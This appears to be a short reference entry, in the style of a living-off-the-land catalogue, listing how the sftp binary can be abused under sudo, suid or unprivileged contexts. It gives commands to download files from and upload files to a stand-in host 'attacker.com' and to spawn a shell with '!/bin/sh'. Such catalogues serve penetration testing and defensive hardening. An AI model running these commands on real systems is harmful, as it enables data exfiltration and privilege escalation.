sftp

Download

Context: sudo, suid, unprivileged

sftp user@attacker.com
get /path/to/input-file /path/to/output-file

Shell

Context: sudo, suid, unprivileged

sftp user@attacker.com
!/bin/sh

Upload

Context: sudo, suid, unprivileged

sftp user@attacker.com
put /path/to/input-file /path/to/output-file